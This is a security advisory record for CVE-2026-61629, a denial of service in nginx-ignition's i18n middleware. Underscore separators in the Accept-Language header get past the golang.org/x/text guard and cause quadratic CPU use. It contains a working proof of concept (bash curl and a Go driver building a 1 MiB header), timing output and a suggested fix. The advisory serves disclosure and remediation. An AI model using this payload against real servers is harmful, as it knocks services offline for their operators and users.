CVE-2026-61629: Github.com/lucasdillmann/nginx ignition Nginx Ignition Has ParseAcceptLanguage `_` Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jr34-h97m-9hpx",
  "modified" : "2026-09-21T21:49:03Z",
  "published" : "2026-09-21T21:49:03Z",
  "aliases" : [ "CVE-2026-61629" ],
  "summary" : "nginx ignition has  ParseAcceptLanguage `_` separator bypass that enables ~75x CPU amplification via Accept-Language header in i18nMiddleware",
  "details" : "### Summary\n\nThe gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.\n\n### Affected versions\n\n`dillmann.com.br/nginx-ignition` v2.40.0 and (per code inspection of `main`) earlier 2.x versions whose `api/common/server/i18n.go` middleware routes the `Accept-Language` header through `language.ParseAcceptLanguage` without imposing its own size or character filter. Verified on:\n\n- the official `dillmann/nginx-ignition:latest` Docker image at v2.40.0 (E2E below)\n- `main` at commit `faef4c99442b329cfa4ee8879bdba41c22866a18` by reading `api/common/server/i18n.go` (the middleware is unchanged)\n\n### Privilege required\n\nUnauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated `/api/health` style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.\n\n### Vulnerable code\n\n[`api/common/server/i18n.go`](https://github.com/lucasdillmann/nginx-ignition/blob/faef4c99442b329cfa4ee8879bdba41c22866a18/api/common/server/i18n.go) (blob SHA `faef4c99442b329cfa4ee8879bdba41c22866a18`):\n\n```go\nfunc i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {\n    return func(ginCtx *gin.Context) {\n        lang := commands.DefaultLanguage()\n\n        langHeader := ginCtx.GetHeader(\"Accept-Language\")\n        tags, _, err := language.ParseAcceptLanguage(langHeader)\n        if err == nil && len(tags) > 0 {\n            for _, tag := range tags {\n                if commands.Supports(tag) {\n                    lang = tag\n                    break\n                }\n            }\n        }\n\n        //nolint:staticcheck\n        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)\n        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)\n        ginCtx.Set(i18n.ContextKey, lang)\n        ginCtx.Next()\n    }\n}\n```\n\n`ginCtx.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery HTTP request that hits the nginx-ignition API server passes through `i18nMiddleware` (registered as a global gin middleware). The middleware sequence is:\n\n1. The request enters `i18nMiddleware`.\n2. `ginCtx.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `language.ParseAcceptLanguage(langHeader)` runs unfiltered.\n\nNo size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and `/api/health` (which returns 404 but still completes the middleware chain).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh `dillmann/nginx-ignition:latest` container:\n\n```bash\ndocker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest\nsleep 5\n\nPAYLOAD=\"en$(python3 -c 'print(\"_abcdefghi\" * 100000, end=\"\")')\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w 'http=%{http_code} t=%{time_total}\\n' \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:18090/api/health\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²).\n\n### End-to-end reproduction (against `dillmann/nginx-ignition:latest` at v2.40.0)\n\nA Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18090/api/health\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) <= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := &http.Client{\n        Timeout: 60 * time.Second,\n        Transport: &http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires ('-' x 1MiB)\", buildPayload(\"-\", 1<<20))\n    send(\"attack ('_' x 1MiB)\",     buildPayload(\"_\", 1<<20))\n    send(\"attack repeat 2\",          buildPayload(\"_\", 1<<20))\n    send(\"attack repeat 3\",          buildPayload(\"_\", 1<<20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `dillmann/nginx-ignition:latest` image at v2.40.0):\n\n```\nE2E: golang/x/text ParseAcceptLanguage '_' bypass through\nlucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at\napi/common/server/i18n.go.\n\nTarget: http://127.0.0.1:18090/api/health   payload=1048576 B\n\n  warm-up                                      header=0 B  '_'=0  '-'=0  status=404  t=10.336041ms\n\n--- measurements (single request each) ---\n  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=404  t=4.211583ms\n  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=404  t=3.276416ms\n  guard-fires control ('-' x payload)          header=1048572 B  '_'=0  '-'=104857  status=404  t=31.683792ms\n  attack ('_' x payload)                       header=1048572 B  '_'=104857  '-'=0  status=404  t=2.429408875s\n  attack repeat 2                              header=1048572 B  '_'=104857  '-'=0  status=404  t=3.589948166s\n  attack repeat 3                              header=1048572 B  '_'=104857  '-'=0  status=404  t=2.415860875s\n```\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 3 - 11 ms   |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 32 ms       |\n| 1 MiB `_` separators (guard bypassed)    | 1 MiB        | 2.4 - 3.6 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB `-` payload returns in 32 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.\n- The 4xx/5xx status of the eventual response does not matter — the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.\n- Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project's README) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter inside the middleware before reaching `language.ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// api/common/server/i18n.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send < 10\n\nfunc i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {\n    return func(ginCtx *gin.Context) {\n        lang := commands.DefaultLanguage()\n\n        langHeader := ginCtx.GetHeader(\"Accept-Language\")\n        if strings.Count(langHeader, \"-\")+strings.Count(langHeader, \"_\") > maxAcceptLanguageSeparators {\n            // Refuse to call into the BCP 47 parser with absurd input.\n            langHeader = \"\"\n        }\n        tags, _, err := language.ParseAcceptLanguage(langHeader)\n        if err == nil && len(tags) > 0 {\n            for _, tag := range tags {\n                if commands.Supports(tag) {\n                    lang = tag\n                    break\n                }\n            }\n        }\n\n        //nolint:staticcheck\n        updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)\n        ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)\n        ginCtx.Set(i18n.ContextKey, lang)\n        ginCtx.Next()\n    }\n}\n```\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lucasdillmann/nginx-ignition"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.0.0-20260126024607-cbaf0fc16ed8"
      }, {
        "fixed" : "0.0.0-20260526022344-0c988fc1277c"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lucasdillmann/nginx-ignition/security/advisories/GHSA-jr34-h97m-9hpx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61629"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lucasdillmann/nginx-ignition/pull/125"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lucasdillmann/nginx-ignition/commit/0c988fc1277c7d291725e8373313f8486fa1b31a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lucasdillmann/nginx-ignition/commit/cbaf0fc16ed873f7178a2ca9b0d00a696e44b485"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lucasdillmann/nginx-ignition"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lucasdillmann/nginx-ignition/releases/tag/2.40.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-21T21:49:03Z",
    "nvd_published_at" : "2026-09-21T15:17:30Z"
  }
}